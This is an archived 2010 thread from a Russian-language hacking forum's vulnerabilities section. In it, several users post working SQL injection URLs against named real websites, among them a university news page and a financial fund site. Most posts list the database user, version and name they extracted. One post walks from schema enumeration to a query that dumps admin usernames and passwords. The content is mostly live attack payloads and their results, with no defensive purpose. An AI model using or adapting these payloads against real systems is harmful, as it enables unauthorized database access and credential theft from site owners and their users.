ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

123
  #11971  
Старый 27.04.2010, 13:13
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию 123

Дорк: Сайт работает на BVLCMS
Цитата:
http://www.bvl.com.ua/?id=site&content=6&article=-209%27+union+select+1,concat_ws%280x3a,version%28% 29,user%28%29,database%28%29,@@version_compile_os% 29,3,4,5,6,7,8,9,10,11,12,13--+
5.0.51a-24+lenny3:admin1@localhost:azlk:debian-linux-gnu
Цитата:
http://www.bvl.com.ua/?id=site&content=6&article=-209%27+union+select+1,GROUP_CONCAT%28SCHEMA_NAME%2 0SEPARATOR%200x3a%29,3,4,5,6,7,8,9,10,11,12,13+fro m+information_schema.SCHEMATA--+
information_schema:azlk:bank1:blog1:blogclub:club: computer:kuzov:market:novostibyavig:televizor: test
Цитата:
http://www.bvl.com.ua/?id=site&content=6&article=-209'+union+select+1,GROUP_CONCAT(TABLE_NAME SEPARATOR 0x3a),3,4,5,6,7,8,9,10,11,12,13+from+information_s chema.TABLES+WHERE+TABLE_SCHEMA='azlk'--+
admin:fbody:fheader:sessions:sprcitat:sprcoment:sp rcomentgal:sprcontent:sprgallery:sprlibrary:sprmai nrazd:sprsubrazd:spruser
Цитата:
http://www.bvl.com.ua/?id=site&content=6&article=-209%27+union+select+1,GROUP_CONCAT%28COLUMN_NAME%2 0SEPARATOR%200x3a%29,3,4,5,6,7,8,9,10,11,12,13+FRO M+information_schema.COLUMNS+WHERE+TABLE_NAME=%27a dmin%27--+
usernameassword
Цитата:
http://www.bvl.com.ua/?id=site&content=6&article=-209%27+union+select+1,group_concat%28concat_ws%280 x3a,username,password%29%20separator%200x40%29,3,4 ,5,6,7,8,9,10,11,12,13+from+admin--+

Последний раз редактировалось Strilo4ka; 27.04.2010 в 13:16..
 

  #11972  
Старый 27.04.2010, 13:22
Keltos
Iron Man#2
Регистрация: 08.07.2009
Сообщений: 2,084
Провел на форуме:
3896191

Репутация: 2562


По умолчанию

http://www.mirvokrug.info/crimea/pano.php?id=-55+union+select+1,concat_ws(0x3a%20,user(),databas e(),version()),3,4--

User: chernish@localhost
Version: 5.0.67-percona-highperf-b7-log
Database: chernish_hotel3d
 

  #11973  
Старый 27.04.2010, 14:39
Dare
Новичок
Регистрация: 26.04.2010
Сообщений: 26
Провел на форуме:
136979

Репутация: 53
Отправить сообщение для Dare с помощью ICQ
По умолчанию

Код:
http://www.stinkyjournalism.org/editordetail.php?id=-444++union+select+1,concat_ws(0x3a,admin_id,admin_name,admin_pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+admin
Version:5.0.77
User:stinky@localhost
Database:stinky
pr:5
Не удалось найти админ панель.

Код:
http://www.jgeosci.org/index.php?pg=ref&ID=jgeosci.-059'+union+select+1,2,3,concat_ws(0x3a,version(),database(),user%28%29,@@version_compile_os),5,6,7,8,9,10,11,12,13--+
user: prj_jgeosci_brw@localhost
version: 5.1.45
Datebase: prj_jgeosci
pr: 6

Последний раз редактировалось Dare; 27.04.2010 в 16:53..
 

  #11974  
Старый 27.04.2010, 18:13
Keltos
Iron Man#2
Регистрация: 08.07.2009
Сообщений: 2,084
Провел на форуме:
3896191

Репутация: 2562


По умолчанию

Код:
http://botox.axilla.ru/parts.php?id=35'+union+select+1,2,3,4,concat_ws(0x3a%20,user(),database(),version()),6,7,8,9,10,11/*
User: axillaBotox@localhost
Version: 5.0.45
Database: kuzmichev_axillaBotox
 

  #11975  
Старый 27.04.2010, 18:25
S[N]EP
Познающий
Регистрация: 29.08.2008
Сообщений: 86
Провел на форуме:
789539

Репутация: 53
По умолчанию

vitessemodels.com
PHP код:
http://www.vitessemodels.com/vitesse_range.php?id=-2+u nion+select+version()/* 
version: 4.1.20
user: vitesse_dbuser@localhost
database: vitesse_db
 

  #11976  
Старый 27.04.2010, 19:19
Dare
Новичок
Регистрация: 26.04.2010
Сообщений: 26
Провел на форуме:
136979

Репутация: 53
Отправить сообщение для Dare с помощью ICQ
По умолчанию

Код:
http://www.tornworld.net/settingpageview.php?id=8+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11--+
user:ellenmillion@accra.dreamhost.com
version:5.0.88-userstats-log
database:snowiebase
 

  #11977  
Старый 27.04.2010, 19:33
S[N]EP
Познающий
Регистрация: 29.08.2008
Сообщений: 86
Провел на форуме:
789539

Репутация: 53
По умолчанию

firstassetfunds.com
PHP код:
http://www.firstassetfunds.com/products/fund.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/* 
version: 4.0.20
user: fafunds@web1.syonex.com
database: fafunds

PR 4


wellydiecast.com
PHP код:
http://www.wellydiecast.com/product_detail.php?id=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a,user(),database(),version()),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56/* 
version: 4.1.22-standard
user: welly_db@localhost
database: welly_db

PR 3 | ТИЦ 30

lumenessence.co.uk
PHP код:
http://www.lumenessence.co.uk/artist.php?id=-1'+union+select+1,concat_ws(0x3a,user(),database(),version()),3/* 
version: 5.0.32-Debian_7etch12-log
user: lum_000@localhost
database: Lo033

PR 3

spacedev.com
PHP код:
http://www.spacedev.com/hybrid_detail.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7/* 
version: 4.1.20-max-log
user: doubleb_user@76.163.252.90
database: doubleb_space

PR 6 | ТИЦ 60

lhsaa.org
PHP код:
http://www.lhsaa.org/sports.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()) 
version: 5.0.90-community
user: athletic_mudball@localhost
database: athletic_sports

PR 5 | ТИЦ 10

Последний раз редактировалось S[N]EP; 27.04.2010 в 20:22..
 

  #11978  
Старый 27.04.2010, 20:36
Dare
Новичок
Регистрация: 26.04.2010
Сообщений: 26
Провел на форуме:
136979

Репутация: 53
Отправить сообщение для Dare с помощью ICQ
По умолчанию

Код:
http://www.game-over.net/reviews.php?id=-898%27+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user%28%29,@@version_compile_os),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49--+
version:5.1.39
user::game-over@localhost
database:gameover
pr:6
Доигрались=)

Код:
http://www.dhammaweb.net/dhamma_news/view.php?id=-16+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16--+
version:4.0.27-max-log
user:dhamma_news@64.202.166.236
database:dhamma_news
pr:4

Последний раз редактировалось Dare; 27.04.2010 в 22:19..
 

  #11979  
Старый 27.04.2010, 20:37
S[N]EP
Познающий
Регистрация: 29.08.2008
Сообщений: 86
Провел на форуме:
789539

Репутация: 53
По умолчанию

growinc.net
PHP код:
http://www.growinc.net/bios.php?id=-1+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5 
version: 5.0.83-log
user: romeo_osma@cgi0702.int.bizland.net
database: grow
 

  #11980  
Старый 28.04.2010, 06:19
Keltos
Iron Man#2
Регистрация: 08.07.2009
Сообщений: 2,084
Провел на форуме:
3896191

Репутация: 2562


По умолчанию

Код:
http://www.uh.edu/news-events/newsrelease.php?releaseid_int=-239+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4,5,6,7,8--
User: newsUser@callisto.matrix.uh.edu
Version: 4.1.16standard-log
Database: uhnews

Google PR: 7
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ